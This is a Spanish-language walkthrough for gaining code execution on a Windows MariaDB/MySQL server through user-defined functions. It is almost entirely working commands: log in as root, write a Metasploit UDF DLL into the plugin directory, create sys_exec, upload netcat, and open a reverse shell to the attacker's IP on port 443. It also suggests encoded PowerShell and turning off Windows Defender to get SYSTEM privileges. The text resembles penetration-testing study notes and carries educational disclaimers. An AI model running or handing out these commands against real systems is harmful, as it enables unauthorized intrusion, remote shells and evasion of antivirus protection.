
Ejecución de código autenticada por base de datos
Esta guía proporciona instrucciones detalladas para explotar una vulnerabilidad de Función Definida por el Usuario (UDF) en MariaDB en un servidor remoto. Estos pasos incluyen la descarga y ejecución de código malicioso en un sistema de base de datos vulnerable.
Advertencia: Este documento es solo para fines educativos. El uso no autorizado de estas técnicas es ilegal y poco ético.
Use el siguiente comando para conectarse al servidor MySQL:
mysql -h 192.168.214.129 -u root -pPassw0rd!
Para determinar la versión de MySQL en ejecución, ejecute:
select @@version;
Para ver el usuario actual conectado:
select user();
Recupere todos los detalles relacionados con el usuario root:
select * from mysql.user where user='root';
Determine qué privilegios tiene el usuario actual:
show grants;
Determine si la arquitectura del sistema es vulnerable a UDF:
select @@version_compile_os, @@version_compile_machine;
Identifique el directorio de plugins donde se pueden cargar archivos UDF:
select @@plugin_dir;
Copie la DLL de 32 bits desde el directorio de exploits de Metasploit:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
Codifique el archivo udf.dll en formato base64:
cat udf.dll | base64 | tr -d '\n' > udf.base64
Copie el valor base64 de udf.base64 y transfiéralo al servidor MySQL:
Abra udf.base64 en un editor de texto:
leafpad udf.base64
En MariaDB, ejecute:
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
Alternativamente, use la siguiente ruta si es necesario:
C:\Program Files\MariaDB 11.1\lib\plugin\
Ejecute el siguiente comando en MariaDB para crear una nueva función:
create function sys_exec returns int soname 'udf.dll';
Nota: También puede usar
sys_eval,sys_get,do_systemosys_bineval. Asegúrese de usarinty nointo.
Verifique si la función UDF se instaló correctamente:
select * from mysql.func;
Copie el ejecutable de Netcat a su directorio local y codifíquelo en base64:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
Abra nc.base64 en un editor de texto:
leafpad nc.base64
Luego, en MySQL:
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
Alternativamente, puede subirlo directamente usando:
mysql -u root -p -h 192.168.214.129 < nc.base64
Active el listener de Netcat en el puerto 443:
sudo nc -nlvp 443
Ejecute Netcat en el servidor remoto para una shell inversa:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
Nota: Este paso puede ser bloqueado por Windows Defender u otro software antivirus. Considere usar comandos codificados de PowerShell (
powershellbase64) y asegúrese de que Defender esté desactivado.
Ejecute un comando de PowerShell usando codificación base64:
select sys_exec('powershellbase64');
NOTA: Puede obtener privilegios de NT AUTHORITY\SYSTEM en muchos casos.
Eliminar función: Para eliminar cualquier función UDF creada:
drop function sys_get;
Verificar Local Infile: Verifique si la escritura local está habilitada:
show variables like 'local_infile';
Encontrar usuarios con privilegio de inserción: Identifique qué usuarios tienen el privilegio de inserción:
use mysql;
select user from user where insert_priv='Y' and Host='%';
Descargo de responsabilidad: Este documento está destinado únicamente a fines educativos e investigación de seguridad. El uso indebido de esta información puede resultar en cargos penales y sanciones legales severas. Siempre obtenga permiso de las autoridades pertinentes antes de probar cualquier vulnerabilidad en una red o sistema.